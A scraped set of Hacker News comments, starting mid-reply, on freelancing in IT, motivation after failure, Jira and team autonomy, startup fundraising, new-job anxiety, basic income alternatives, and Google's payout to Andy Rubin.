It does, the more your name gets out there the more it’s shared among others. If you did a great job for one company and they are friends with another they may recommend you to help them also. I picked up a lot of work and repeat work via word of mouth.
5. You don't have time to get bored;
I generally never board, but I am also on call 24/7 and that can be tiresome over long periods. It’s good to have a passion doing what you love then to do it just for money. It’s better to get paid for something you enjoy doing.
6. You have the freedom to work on other projects, including your own;
Yes, to an extent, in most cases you can set your own hours unless the client or company is on some specific schedule and if you work internationally you may be resetting your schedule to someone else’s hours, a great many times I have been switched onto nights due to this.
7. You can increase your hourly pay with every contract;
This was the hardest one for me to figure out, pretty much you don’t want to be taken advantage of. I learned to know my value and I value my time. I waste no time in explaining to a client or company that I wouldn’t be interested if it’s too low of a rate. I pride myself in my knowledge and skill, and in most cases if they want my services they are coming to me and not me going to them and sure they could find some replacement, but where I am today that would cost them more then what I would consider a fair wage. I also operate with a hard policy of “no money, no work” this is where working for corporate can be better you’re more likely to get paid on time and what they agreed too. Where as in other cases you may do work and rendered services, and then the client doesn’t pay you the correct amount or on time. If they can’t be bothered to honor the contract then I stop caring about providing services. Also, make sure to get a written contract and that whoever is hiring you to do their work signs it. If they are a new client or they screwed me in the past I make them pay half up front or all up front or is escrowed through a middle party.
8. You learn how to negotiate;
Yeah, stand up for what you want, don’t take a job that you don’t want to actually do, there are hundreds of jobs dropping daily, no need to force doing something that isn’t worthwhile. I try to stay in areas that I know I excel at and prefer to render quality to the client over just doing any job that comes across.
9. You mostly do menial / grunt work;
That can happen if you get suckered into doing some migration, where some company is moving from one office to another, they may outsource their grunt work. I don’t do this anymore I did it earlier in my past, but I avoid wasting my time moving people’s cubicles and setting up their new desk. It’s not going to teach you anything of value, but it’s shocking that there are employee’s that can’t even connect up their own computer. In one case I had to deal with the new office wasn’t even wired for networking so there was no Ethernet ran and none of the switches or networking equipment was ready. Make sure to find out exactly what it is and try to get everything required of you on the contract before you take the job so there is no fun surprises to deal with that have made you not take the job in the first place.
10. You will suffer / have suffered a penalty if you decide to stop freelancing and move into management / higher levels;
Doubtful, only hiring companies that are sticklers for amount of time worked at a previous company vs working for hundreds of micro jobs. Some hiring departments may see it as instability in work history. However, you will likely have vastly more information and skill from working in the field, then if you just got a single job and worked the same routine for like four years.
11. You need to constantly work on personal brand;
Of course, improving yourself is always a plus, and building up your client base ensures freelancing can be survivable no one likes going without food or rent due to lack of active jobs. I know some freelancers that created small businesses and later became full on managed support for people’s technology needs.
12. Companies don't hire contractors unless they have to;
Companies will reach out into freelance when they can’t achieve their goal internally or don’t have the funds to bring on a person full time, and sure they don’t want a full time employee since they have to pay benefits. However, that may mean they might try to take advantage of you, so remember to work out a reasonable contract.
13. Is it easier to find remote work?
It can be, especially if you’re working internationally, I found that Linux administration seems to be more wide spread for remote work vs windows administration, for whatever reason windows jobs want you to actually go to the servers physically, which is annoying. I would rather have a laptop and work remotely via SSH on some Linux related job. However, some on sight jobs can be fun especially if you’re into solving things, to where you go and have to investigate or find out what is causing their problem. Like random network outages, or if your hired to find out how they got breached/hacked.<p>-Estella |
Ask HN: Favorite HN quotes? | My all time-favorite HN comment is from fiaz.<p><a href="https://news.ycombinator.com/item?id=121413" rel="nofollow">https://news.ycombinator.com/item?id=121413</a><p>> fiaz XXXX days ago | parent | favorite | on: Ask News.YC:
How to re-motivate yourself?<p>APOLOGIES for making this post so annoyingly long, but I really hope you find value in the words below.
-----------------------------------------------------------------------<p>I'm going to first share a personal experience from my early trading days to illustrate where I'm coming from. I used to wake up at 4:30 am everyday in the Chicago suburbs to beat rush hour traffic and make it into downtown Chicago at 6:30 am. In order to wake up so early, I fell into a habit of sleeping at 9:00 pm and like a robot waking up at 4:30 am. This simple routine was indirectly helpful when things seemed darkest.
For the first six months, I lost money and was ridiculed constantly by other traders who were more successful than me (which was about 20 other guys CONSTANTLY using me as a punching/whipping bag). The only thing that kept me going was the fact that some of the very same traders that would be making wise cracks at me for losing money were some of the most successful people I knew at the time. For better or worse, if I needed a trader to model myself after, it was the same people that were telling me how bad a trader I was - and although I was not open to really hear what they were saying, they were right about my skills in every way (but their feedback was always packaged in some sort of insult).
After racking up some rather hefty losses, I was determined to quit at one point during month four, but because I had a habit of waking up at 4:30 am I simply "forgot" that the night before I told myself I would quit and spare myself further humiliation...by then I was warned that I was now on the red list of traders ready to be cut. Also, my personal savings were starting to approach zero (the base "draw" for house traders was enough to pay for food; you usually make your money on a percentage of your profits, and I was deep in the red at the time).
To say the least, there were many excellent reasons to be "reasonable", forget about my dreams, and quit.
After 4 consecutive "failures to quit", I realized that I didn't quit because somewhere deep down I was hanging on to a dream, however remote at that point: that I could somehow be as successful as the other traders that I knew. At the same time I realized that I had hit rock bottom in that I couldn't even succeed in failing! Very tough times indeed...
An interesting point to note here is that although my losses were starting to get very large, the people who were funding me as a trader kept me because I had one redeeming quality: EFFORT, and this helped build tenacity. Other traders who barely traded but had a fraction of my losses were cut much faster because they didn't put forth much effort. They were not willing to take losses and be bold/brave and fight it out; I was willing to take risks, and this saved me from getting cut faster than others.
Slowly I began to reinterpret the constant humiliation I was suffering: perhaps the other traders were right about their "jokes" and there might be something in what they are saying that will help me get out of the red. I also realized that since I had failed at quitting (which was now the ULTIMATE failure), there was no further failure for me and that if I took baby steps they were surely to succeed (this translated into taking smaller trades/profits).
Only after improving upon my abilities as a trader and channeling my energies appropriately did I succeed and earn everybody's respect as a trader (and you have no idea how this made me feel!). I quickly made enough in commissions to be trading my own account, and be successful as an independent trader onward. When I look back at those final months of 1999 (yeah that's right, I was losing huge cash at the end of 1999 when the entire market was going crazy UP!), there was more good than bad even when I was getting my ass handed to me. It's just that I was intentionally creating my own feedback (I'm right everybody else is wrong) instead of seeing the results I was getting (losses/insults) as feedback and information that would help me be successful.
I kind of snicker every time I see somebody ask for feedback on their startup on YC.News only to end up justifying themselves by telling everybody why they did what they did when they get negative feedback, which is the feedback of greatest value. If somebody tells you how crappy your idea is, thank them that they even spent a few brain cycles considering your idea.
The lessons I learned from this that are perhaps relevant to your questions:<p>- Determine if you believe in yourself to succeed as an individual (I know this sounds odd, but for a moment just examine your thought patterns and your actions and see what message you are sending to yourself; do you listen to the voice that says you can't or are you paying attention to the feedback from your efforts and the results you are getting?)<p>- Search deep down inside and see if the project you are working on is something you believe in or not. If you can't sell yourself, then you shouldn't bother trying any further...<p>- ANY attention you get for your efforts is good attention. If you get LOTS of negative feedback, then be grateful - you've jumped the first hurdle of getting people to give a damn about what you are doing! :)<p>- There is responsibility and accountability that goes with both success and failure. You need to be ready for both because they can be equally painful in equal ways. The amount of accountability that comes with success can be more unbearable than the accountability that accompanies failure. I personally know of some very talented people who enjoyed phenomenal initial success only to find just as fast that they were in over their heads.
- The more you resist the possibility of failure then you are less likely to recognize possibilities that will help you succeed. If you are afraid to fail, then most certainly you are afraid to succeed. This sounds counterintuitive but it's based upon the fact that fear makes your mind less supple and less responsive to the changes that will push you out of the game - or conversely it will lessen the impulse to jump on the opportunities you need to succeed.
- The results you get has everything to do with your users/market and less to do with you as an individual; it's sometimes hard to separate these two. See the other side of the equation and what side you are on before trying to solve it. Don't ever think you are above the feedback of your users...EVER!
- Don't have expectations (this is just setting yourself up for failure). Because you are starting out you may not know what is best to help you succeed - ESPECIALLY if you're lacking motivation. Keep in mind that whatever results you get from your efforts will lead to more possibilities (in the form of additional information).<p>- Have some behavioral "context" within which to exercise discipline and structure. Seek to grow your efforts within this context. My context was my sleep schedule. It was a routine that was so ingrained that my drive had a laser focus. This might not work for some, but it worked for me.
Finally, I will add that in my opinion failing hard and fast is MUCH better than failing slowly. The faster you know for certain something isn't going to work out, the sooner you can cut your losses and move on to your next idea. When you eventually succeed, you will look back at all the times you were quick to cut your losses and get to where you are...<p>---------------------------------------------------------<p>Please do NOT contact me asking for advice in trading/investing. This is a VERY personal thing, and it has everything to do with who you are, NOT with how much information you have, or which tools you use, or who you know. |
Ask HN: Should I fight back management enforcing Jira? | Some companies treat their software teams like factory labor focusing on process and efficiency above all else.<p>I and most of us at Atlassian believe that epowering developers with more autonomy will drive better outcomes, better products, and better teams.<p>To help resolve these conflict, aspects of Jira needed to change and team culture needs to change.<p>To fix this we've been investing to democratize Jira's permissions model. We have been focusing on autonomy and flexibility to let any team design the way they want to work while giving administrators the power they need.<p>The SW biz is a very fast-growing space. When you combine massive growth, speed, and impact it is easy to lose control.<p>Feeling like you need tighter control means people often try to grip tighter. Sometimes that shows up in insanely complex and structured Jira instances. Sometimes Agile has become more important than agility. Sometimes using Jira has become more important to leaders than the outcomes the actual customer wants. This shouldn't be the case.<p>It can become easy to over-index on process and control at the expense of agility and software team autonomy. Don't do it!<p>This results in some over-designed Jira boards and workflows.<p>Leaders and managers in business and software development need to balance the desire for control with the need for S/W team autonomy. This endless dance between autonomy and control always shows up in every HN thread with detractors saying Jira sucks and fans saying Jira is great but the people setting it up must suck.<p>There is responsibility all around. Jira, for example, needed to improve the permission model to better empower teams with project level controls. We've needed to simplify the setup and clean up the issue views. These changes in Jira Cloud help admins feel more comfortable delegating more control to teams to design their own way of working.<p>We can't police how people use Jira in the wild but we can share our POV, our playbooks and we can make changes to the product to make it less likely that managers treat dev teams like factory labor focused on process and efficiency above all else.<p>A well-running team in a well designed Jira instance should work more like a lab than a factory.<p>Triads or squads should be able to chase a hypothesis, they should be better able to adapt to new information and respond to change than a factory assembly line. Leaders should be looking for more than process and efficiency out of the team and out of Jira.<p>How should you handle this?<p>Make Jira work for you.<p>Play a role in designing the way you want your team to work.
Take the lead in changing the board design or the workflows when your work requires it.<p>The teams that make adapting to change their competitive advantage make the biggest impact on their company, their customers and the world. But, it takes trust and courage for leaders to create the conditions necessary for this. It means giving software teams a degree of autonomy and flexibility. Mastering this is the core competitive advantage for innovative companies today. These companies retain great talent, they hire great talent, they get great results.<p>Over the years we've heard the wishlist from Jira users and administrators in large companies and startups.<p>Make it easier to use and get started!<p>Give me flexibility and control when I need it!<p>Let my team design their own way of working!<p>To bring a new level of simplicity and power to Jira we needed to re-think the basics of the product. We also decided to open up and share our practices to go along with our tools (Team Playbooks <a href="https://www.atlassian.com/team-playbook" rel="nofollow">https://www.atlassian.com/team-playbook</a>). We needed to learn a few things from the Trello team. We needed to think deeper than new features. The good news is that we've been doing that in a big way and you should be seeing that in the Jira Cloud product you can try today.<p>A couple examples<p>Project Level Permissions- Have you ever felt like the Jira you are using was designed for some other team or project? Alert! It might have been. Jira SW Cloud now makes it easy for next-gen project owners and team leads to design their own Jira projects, boards, and custom issue types without creating concerns that it will impact other projects.<p>Agile features can be turned on and off with the click of a button, so your team can customize to best suit its own unique workflow depending on its maturity level and the project at hand. For example, you can now flip between scrum and kanban methodologies in seconds<p>You can create issues and columns in-line, without ever leaving the board<p>Out-of-the-box team filters on every board, such as epic, issue owner, or labels make it easy for anyone to sort and filter in a click, no JQL needed.<p>You can define a rule to automatically update an issue's field or assignee based on the column it is moved into<p>You can display issue attachments as card cover images on the board<p>You can create, edit and delete issue types in independent projects<p>You can create issue types and customize the fields to suit your team's needs<p>We've got a lot more coming. The good news is that you can customize, modify, adapt and design Jira Cloud to do pretty much anything you want. The bad news is that means someone who doesn't know what you mean might do it for you if you don't participate.<p>Building software is complicated work. Jira's secret sauce is the way it simplifies the complexities of software development into manageable units of work that can be predictably shared and worked on by many different teams at the same time. Well designed Jira boards and Jira issues enable collaboration across increasingly diverse software teams that include design, marketing, analytics etc.(via integrations to the Jira issue)<p>That's a lot of text for a really small text box in HN. I'm trying to stay awake long enough to see the end of the Red Sox game. It's longer than that the typical bit of snark about Jira sucking or your admin sucking or doing work at work....sucking.<p>My advice:<p>You can have admin or project admin permissions, you can design the way your teams wants to work, you can integrate the tools like GH, BB, INvision, New Relic, Launch Darkly, etc that your team uses already. You can give the managers the vis they want and need and you can do it without sacrificing the sanity of your team day to day. And, you can use Jira to show whoever needs to know what you've been doing and how it impacts the business.<p>Jira should feel like the center of gravity that helps all the work your teams are doing hang together across different teams and tools. |
Ask HN: What's your advice for someone who's raising capital for the first time? | Oh man, where to begin. Here are a few things I learned the hard way from my first time fundraising in 2011 (3 months full time, a few all nighters working on the deck, closed $1M+).<p>It’s a power game. Every single aspect of it. The typical situation is they have power over you because you need money and they have money. Your job is to convince them that they need you more, because money is easy to find but future billion dollar startups are actually quite rare. In order to do this, you need to create a reality in which they are losing out on a limited time opportunity by not meeting you and then handing you a big check.<p>Borrowing a term from poker, the best way to walk out of the meeting with a firm commitment or big check is to walk in with “position” on the investor. Ways of having position include:
- warm intro from another investor who already put money in
- any chart showing a core metric (revenue, users, deals) going up and to the right
- any press<p>Basically anything that conveys a sense of momentum. Momentum is a huge part of the game as well. It’s critical to create a sense of urgency. Investors are pack animals. Getting the first close or “lead” is at least half the battle. After one person commits, it becomes much easier for others to fall in line due to social proof. Do whatever it takes to generate momentum and communicate that to investors. The train needs to be leaving the station by a certain date, are you in, yes or no.<p>Try to find a good candidate for a lead investor. You <i>could</i> do a “party round” of $1M with a ton of people all writing smaller checks from $25-200k. But in my experience this is a bad idea, because none of the investors have enough skin in the game to really dig deep and help you out if the shit hits the fan. And if this your first funded startup, the chance of shit hitting fan approaches 100%. You want at least one investor who is deeply, deeply committed to your vision and most importantly to you. This will help you navigate pitfalls and avoid a situation where, say, you raise a convertible note (debt) and after 1-2 years when you’re still trying to find product market fit, some disgruntled investors try to ask for their money back.<p>Don’t use a convertible note with a due date. Use a SAFE if you can get away with it. If the investor doesn’t want to use a safe, get a very specific and detailed explanation why.<p>Do treat all the investors with respect. But don’t let them get away with power tripping. This is one thing infuriatingly common especially among big names. If you take their shit, they won’t respect you. But you also can’t blow your cool. Call them on it, explain that you’re serious and don’t want to play games, and be prepared to walk out of the meeting if necessary. Don’t walk out unnecessarily or be a dick yourself. But be prepared to show you mean business, and if they don’t, then you have better things to do.<p>Do listen to investor feedback, especially if they are ex founders or have domain expertise. But don’t lose sight of your vision or try to shift your entire strategy bass on one person’s feedback.<p>Make sure you take time for self care and have strong support networks during fundraising. It is very emotionally intense to pitch your heart out, the stakes are high, and not everyone is nice. Take time and space to recover and recharge emotionally. Remember that you’re selling investors first and foremost on you and your team. And mostly you. If you seem tired or stressed, or anything other than happy, alert, comfortable, and crushing it, that is a bad signal.<p>Don’t be afraid. Remember why you’re doing what you do. Realize that even if you get destroyed in the next pitch meeting, nobody is going to die. You’ll sleep it off. Tomorrow is another day and another chance to try again. Every pitch is an opportunity to practice and to improve your craft. Celebrate every success, even if it’s just learning one tidbit from a VC who decided to pass. And embrace the failures, because you will have them. It hurts to get rejected when you have so much on the line. But if it was easy to close seed rounds then everybody would be doing it.<p>Don’t worry too too much about valuation, at least compared with investor quality. Better to have a committed lead investor who backs you 100% at a $3M valuation than some rando coming in $5M.<p>Finally, after you close the big bucks, shred your pitch deck and don’t use it to inform your next product plan. The exciting part of the pitch deck is typically big picture vision stuff. Don’t lose sight of that, but focus on the next step of product. Go back to being scrappy even with $1M in the bank.<p>Good luck! |
Ask HN: First month job anxiety. Am I actually an impostor? | > I don’t know if this is impostor syndrome<p>It is a question worth asking. Our industry talks so much about impostor syndrome that people forget that there are other sources of lack-of-confidence.<p>I'm going to go through and try provide a clear vision of what challenges you are running into. Based on my interpretation, I'll then write out what are hopefully some clear actions to take or concrete questions to resolve. <i>However</i>, if you think Ive missed the mark in my interpretation, please let me know.<p>> joined...a month ago<p>Oh, so you're totally new then. Cool.<p>> all on the order of maybe a few hundred lines of code<p>Lines-of-code <i>can</i> be a proxy for the scope of a problem when you adjust for language expressiveness, but it is a <i>very</i> rough one. What I'm hearing here is that you're used to taking on projects for clients which are a fairly meaty bit of their business and require you to write whole features fairly quickly...but probably doing greenfield development. Modifying code that has been running for a while in an established organisation is a bit of a different beast.<p>> I’ve also spent maybe a week more than I should have on a fairly simple feature, just from fighting with my tools and trying to figure out where to put a few sparse calls in the codebase. It’s really embarrassing.<p>So I'm hearing a mix of frustration at your developer experience and disappointment in yourself for running into that frustration. I'm guessing that before you had a toolchain you were very fluent with and now you are...not. Okay, this is a problem to solve. Not as in "this is a problem with you", just "this is a problem you've got to deal with". Ideally, you deal with it by scoping out the pieces required to fix your development environment and tacking them as engineering challenges. This process will be <i>significantly</i> accelerated by asking well-framed questions of your coworkers who have the same sort of development environment. Julia Evans has a blog post on how to ask good questions which you should absolutely go read right now. <a href="https://jvns.ca/blog/good-questions/" rel="nofollow">https://jvns.ca/blog/good-questions/</a><p>But some of your struggles with your development environment might apply to the lots of other folks and be the sort of thing that requires your team to do an investment project to solve that problem.<p>> Their thoughts are completely clear... I rarely hear them misunderstand anything<p>whoop whoop sampling bias alert! You cannot telepathically read anyone else's mind. However, you can read your <i>own</i> mind. But this perception of yours still comes from somewhere. Where then?<p>* I suspect your coworkers are probably reasonably concise and organised in their <i>speech</i>. This is a combination of a social skill, knowledge of the domain, and a willingness to wait to speak until you've organised your thoughts. The last one is a habit that depends somewhat on backbone. The former takes a combination of practice and<p>* I would be a <i>very</i> surprised if they never ask for clarification on anything. Indeed, the ability to notice that something is ambiguous and pin down reality is one of the most important communication skills for an engineer. However, there is a skill to expressing confusion <i>confidently</i>. You can pick up on it if you hear phrases like "could you clarify something for me...", "There is a point unresolved here..." or "so if I understand you correctly..." Are you sure that they aren't merely exercising the skill of projecting confidence while resolving confusion?<p>> In contrast my thoughts tend to be extremely muddled. I often take in information without making much sense of it at first<p>So when you check your intuition to see if you understand whats going on, it comes back saying "bwuhhhhh?"<p>Yup. Thats kinda how it goes when you're new somewhere.<p>When was the last time you had the experience of starting university or a bootcamp for the first time? If it was a while ago (or never happened), then you should keep in mind that it takes time to absorb information and it is normal for it to be overwhelmed a bit. I strongly advise spending two half-Saturdays watching all of the video lectures from the course Learning How To Learn. Don't be embarassed to use techniques from study bloggers like Thomas Frank -- Anki flashcards are in fact still super-useful for taking a mental model and cementing it. When you have a solid conceptual foundation, then the new info you take in will be "chunked" and will fit better in your working memory and won't be overwhelming. Also, for learning things and de-muddling your brain try going for a walk in a park, putting on some bluetooth headphones, and talking out loud explaining things to yourself. I find that I have a clearer grasp of things after I've dictated to <a href="https://otter.ai" rel="nofollow">https://otter.ai</a><p>For now, work to be willing to re-read things or ask someone to repeat something that they just said.<p>> I’m riddled with anxiety every day. For one, I’m worried that my coworkers might think ...<p>The cure for this is clear feedback, received over time. There is a skill to getting it. The short explanation of how to do so is to be explicit that you are looking for feedback and to present specific questions in a [{situation} {action} {?effect?}] structure. For example: "When we were in the meeting to scope out the turtle-stacking API endpoint and I asked for clarification on tortoises, do you think that derailed the discussion?" Much like another question you ask, you might preface that with <i>why</i> you are asking. "I'm working to get better at concisely asking clarifying questions in technical discussions."<p>The key here is to give a voice to your concern, but in the tone you use to address a manageable question that you can rationally examine and then respond to -- because it is manageable. If you're doing something wrong but you concretely know what it is, you an solve it. If you're guessing at a problem, you won't have the certainty you need to commit to grow past it.<p>The longer explainations are found in this Lead Developer UK talk: <a href="https://www.youtube.com/watch?v=RsfNS9HSWQs" rel="nofollow">https://www.youtube.com/watch?v=RsfNS9HSWQs</a> and this book: <a href="https://www.amazon.co.uk/Thanks-Feedback-Science-Receiving-Well/dp/1611762510" rel="nofollow">https://www.amazon.co.uk/Thanks-Feedback-Science-Receiving-W...</a><p>> I think I’m riddled with fear that I’m just not good enough to<p>The cure for this is to get an idea of the specific capabilities that your job expects of you. Ideally, your company has some sort of regular review process where you are asked to evaluate yourself against these specific capabilities. Ask your manager (whoever you do 1-on-1s with) what that process is and walk through those questions with them now rather than later. Then you can turn this vague fear that you are not 'good enough' into a specific fear that you can't do X well. Then you can get advise or resources on how to do X.<p>> I don’t really know how to reach out to people<p>There is a fairly large basket of skills here and I've got to rush off, so I'll just say that these skills are learnable and there are resources out there which I'm sure others are linking in this thread. |
Ask HN: First month job anxiety. Am I actually an impostor? | You a have a huge attitude problem.<p>> I am trying to get new ideas done. But after one day of programming for my job, I am exhausted and I cannot extract any brain-juice any more. And if I try to work during the week-ends, I can't rewind enough for the next week. And my progress are damn slow. It seems I would need a year to achieve what a good programmer could do in a week.<p>Do you have professional training? A degree? How long have you been programming? I know the current fad is to brush off the stodgy past and just start hacking, but it's honestly complete horse-shit.<p>You need some kind of training to be a great engineer, even if it is self training through reading books and documentation. Or do you think you will simply invent or absorb the past 40 years of software development and research through osmosis?<p>Tooling around and poking at things until they work is a great way to start programming but it eventually becomes exhausting.<p>Experience is an amazing resource, but in my opinion is over-rated. Directed practice and active learning is what leads to becoming a better programmer. If you are finding you aren't progressing, ask yourself: What are you doing to fix that? <a href="https://daedtech.com/how-developers-stop-learning-rise-of-the-expert-beginner/" rel="nofollow">https://daedtech.com/how-developers-stop-learning-rise-of-th...</a><p>> Let alone be a Mark Zuckerberg<p>This is such a toxic attitude.<p>Did you go to an elite private university? Did you go to an elite, extremely expensive boarding high school? Did you have a merlin-style private tutor that taught you computer programming at a young age? How many hundreds of thousands of dollars did your parents invest into your education?<p>No? Then why are you comparing yourself to Mark Zuckerberg? He comes from a different planet then you.<p>I know we like to idolize our captains of industry and Zuckerberg is undoubtedly brilliant and driven, but he had everything in the world pulling for him. If he had NOT succeeded in the way he has, it would have been pathetic.<p>Don't compare yourself to these people. They aren't like you. They have powerful families and friends that get their foot in the door for great connections.<p>They can take insane risks like dropping out of elite universities. Why? Because guess what: Mommy and daddy are there to pay for it when they decide to go back.<p>> The other big issue is that I don’t really know how to reach out to people. I’m not a collaborator; I’m a recluse. In my life, I’ve always done things from scratch. Now I have to make meetings, ask people for information, decide that something needs to be done and tell another team to do it, etc. To get good at this, it feels like I basically have to rewire my entire personality, and I don’t know how to go about doing this. I’ve also found myself not asking clarifying questions when something doesn’t make sense in a meeting—see “muddled thoughts” above—and then I’m stuck figuring out whatever it was that I misunderstood on my own time (or not at all).<p>You sound like you have anxiety problems. What have you done to address your anti-social tendencies? Are you going to a therapist? Do you expect a fairy to fly into your house and magic them away? What job do you think exists where you don't need these skills?<p>I know this is harsh to say, but: There is no finish line where you get a medal and a "You don't have to act like a normal person at work anymore" card. These problems are not going away and being fatalistic about them and deciding it's too much of a bother to work on them and address them is never going to fix anything.<p>Also, you think being an entrepreneur will allow you to talk to FEWER people and prevent you from having to reach out to people?<p>Sincere question: Why do you want to be an entrepreneur? What are your goals?<p>Wanting to be an entrepreneur in order to chase after the coat-tails of Mark Zuckerberg and other elite business owners is not a goal.<p>Wanting to be an entrepreneur because you have anxiety issues and want to run away from your problems instead of addressing them is not a goal.<p>And if you think you will make more money, you are PROBABLY wrong. 100k/year with no personal risk is a margin a LOT of small businesses would LOVE to have.<p>> What do I do? How do I get better?<p>GO TO A THERAPIST. Have them help you set goals. Listen to them and follow through with their advice.<p>Having a therapist does not mean you are crazy, and you don't NEED to be crazy to have one. It means you have having a neutral person who helps you track and set goals, track your moods, and help you process work relationships and events. Michael Jordan has a coach, brain workers have therapists.<p>Also: Learn to read. Look at these titans of industry and people at the top of their field, and then look at their reading list. Invariably it will be intensely long and full of boring books.<p>Read some books on productivity and emotional intelligence and software engineering and managing your life in general. Find people you admire and read their book recommendations.<p>My recommendations to start out:<p>- Deep Work - Cal Newport<p>- Measure What Matters - John Doerr<p>- The Pragmatic Programmer - Dave Thomas + Andrew Hunt<p>- Actual books about the programming environment you are working in. |
Ask HN: Are there any alternatives to basic income? | There have been ideas floated that use crypto-currency models. The advantage of "programmable money" enables a few things which would not be possible with conventional currency.<p>I'm not advocating this, but I've heard of several models for a merit-based economy (which I reject as it's only really viable under authoritarianism), but it illustrates a way in which this might work.<p>All individuals receive a fixed number of tokens daily. Everyone gets 100 for example. However, you're taxed based on merit, as defined by attributes in your wallet. If you have a bad driving record for example (comparable to receiving many traffic tickets), what costs me 20 tokens might cost you 21. You're penalized for misconduct at the point of sale. However someone who volunteers with a charity for 10 hours a week might only pay 18 for the same goods. The merchant/service provider is reimbursed the same, regardless of the cost, as all excess token taxes are pooled and the difference is allocated from that if the sale price falls under the base price. Merits and demerits are fixed to be issued at a 1:1 ratio.<p>Another option would be to simply impose a luxury tax on non-essential goods, and use that to finance essential goods. Less Universal Income, more Universal Food Stamps... You might pay 25% more for that new car, but you can always walk into a store and pick up a bag of food staples or simple pharmaceuticals. They key here is that's it's not just for the poor or disabled, and everyone pays the luxury tax. However, naturally those with more disposable income will likely spend more and thus pay more of the tax. This works in local economies (a small town for example), but doesn't scale up with population very well because locality plays a huge role in costs. If kept local however, there's no cost advantage to centralized administration, and it could end up costing everyone significantly more to run variants of the same programs on the local level. And then you might just make your luxury purchases two towns over (or online) where their tax is lower, lol. This system has been used in the past, but global economics in place today negate the efficacy of this model.<p>Another idea eschews the money aspect entirely and instead reduces the standard work week, freeing people up to pursue supplemental employment if they choose, start a side business, etc. This actually has more practical implications. Studies have shown in most office work, companies are effectively only getting 28 hours of work out of people in a 40 hour work week, and less in industrial jobs. Reducing the work week to 30 hours (at the same net salary) made no negative impact on productivity. Companies got the same amount of measurable work, for the same cost, but gave the employee more free time. Going from 40 hours to 30 potentially creates 25% more jobs if you need 24/7 coverage, but also increases the cost to the employer. However, with 25% more jobs available, you can get a part time job to work a full 40 hours (or more) if you want, ideally in another industry. Then if the industry you're in takes a dive, there's some resilience to layoffs. You already have other employment and skills in another field. The idea is rather than give people a basic income, less money could be used to provide tax exemptions to companies who adopted this model to offset their increased costs of hiring. You take less from the company, but that is more than offset by the value generated by the increase in employment and tax revenues generated from that productivity. The problem here is with skilled professions that are in high demand. For example, you can't do this with ER doctors, we don't have enough of them as it is. Not all professions and industries benefit equally. But this isn't without precedent, before the establishment of the 40 hour work week, most people were working 80-90 hours. It's doable and there are advantages, but it's not universal.To be implemented, it must be voluntary, not compulsory, but with changes made to the law to extend things like health benefit eligibility to people working under 40 hours. Then it can be slowly adopted naturally by those who benefit the most from it, and their experience and improvements in implementation can inform industries who may want to adopt it but will have less margin for error.<p>Keep in mind, universal basic income is already available to everyone. They're called "dividends". You pay into an investment and receive a portion of the profits at fixed intervals for assuming a portion of the risk. This is superior to a UBI, because you have to opt-in, contribute as much or as little as you want, and you get control over how the money is managed. People get butt-hurt when you say this, and counter with the same statement:<p>"Not everyone is an investor, many will lose the money, so it's not universal".<p>But that's true of a UBI too. Some people would take the money and invest it to grow their wealth, some people will buy food and housing to subsist on it, and some people will piss it away on weed and video games. Those are all valid choices, but they have consequences in regard to the financial prosperity of the individual.<p>There are plenty of good articles about unconventional economics here: <a href="https://countermarkets.com" rel="nofollow">https://countermarkets.com</a> |
Google paid Andy Rubin $90M while keeping silent about a misconduct claim | <i>Google could have fired Mr. Rubin and paid him little to nothing on the way out. Instead, the company handed him a $90 million exit package, paid in installments of about $2 million a month for four years</i><p>So, I have to wonder how the world would frame it had they fired him. Would the scandalous headline be, instead, "Google screws Android creator out of millions on flimsy excuse of unprovable sexual harassment claims"?<p><i>In settling on terms favorable to two of the men, Google protected its own interests. The company avoided messy and costly legal fights, and kept them from working for rivals as part of the separation agreements.</i><p>So, this is "good business" for reasons beyond my point above.<p>Don't get me wrong. I'm a woman and I spend a whole <i>lot</i> of time trying to figure out how to get taken seriously, make business connections, yadda. My experience/opinion/hypothesis is that, never mind that I'm a <i>toothless gray-haired old hag,</i> most men don't really want to engage me in meaty, meaningful discussion unless they are looking to sleep with me. And, in fact, engaging me in meaty, meaningful discussion seems to fairly frequently lead to men having the sudden realization that "I'd totally hit that. I'd hit that so very hard, good god."<p>I used to think I was all special. I'm not so sure these days. Maybe that's just how men react to a "deep" conversation with a woman. Because if it isn't pointless small talk and goes on for more than a minute (so to speak), that seems to be the routine outcome.<p>Later quote in the article about a different person at Google:<p><i>During the job interview, she said he told her that he and his wife were “polyamorous,” a word often used to describe an open marriage. She said he invited her to Burning Man, an annual festival in the Nevada desert, the following week.</i><p>To me, this should be straight up a firing offense. There is absolutely no (legitimate) reason whatsoever for telling someone in a job interview that the interviewer is "polyamorous."<p>I don't know what policy is these days, but, back in the day, an Army officer who had an affair with the wife of a lower ranking soldier in his unit would be busted down to E-1 and thrown in jail. It didn't matter if she swore up and down that it was <i>consensual.</i><p>It is basically treated like statutory rape. Because of the nature of military work, he can have literal power of life and death over her husband, plus power over his career. The implication 'You will sleep with me or I will see to it that your husband winds up in a combat zone/ is ordered to his death/etc" does not need to be stated for the wife to know that turning down someone with that kind of power over her husband's very life could go very bad places for the man she swore to love for life.<p>So, it's illegal in a "We throw people in jail for that" kind of way in part for reasons of morale. An army can't function if the soldiers are worried they might be ordered to their death so some guy can get his damn freak on with their wife. That just absolutely doesn't work. Being an officer is a position of trust.<p>The stakes are not usually literally life and death at most jobs, but close enough. Being barred or blacklisted from being able to have a good job at all means you wind up homeless and starving, basically. In order to have the good life we expect in a developed country, you have to be able to get a good paying job (for most people -- I realize there are exceptions as some people inherit vast wealth).<p>I don't know the full answer for how to resolve this complicated problem. But I think it is clear that we need to get a whole lot clearer about the fact that powerful men on the job need to be explicitly educated about the fact that hitting on women at work is inherently problematic, and not just for the woman being asked.<p>I'm 53. I'm still trying to wrap my head around this problem space. I sometimes blog about it, largely for my own edification.<p>We are in a transition where the old rules really don't work and we haven't yet sorted out what does work. Historically, powerful men could have multiple lovers. If he could support them all, a mistress on the side tended to be culturally tolerated.<p>I think there are some valid reasons why, so I'm not saying "Those heathens!" I'm just saying we have this history and powerful men often have this expectation because it wasn't an unreasonable expectation at one time. But now it is turning into scandal for powerful men to behave that way. It's no longer being treated as their "just deserts."<p>And I think that is part of why it keeps getting swept under the rug. On some level, most folks know that a lot of these men grew up with this idea that if they made enough money, they could have multiple women and society would kind of wink and nod and look the other way, even if it wasn't officially approved. So it is a kind of unstated expectation of a longstanding social contract. There is lots of precedent for it.<p>When push comes to shove, I think a lot of folks are hesitant to burn men too badly for that for various reasons. |
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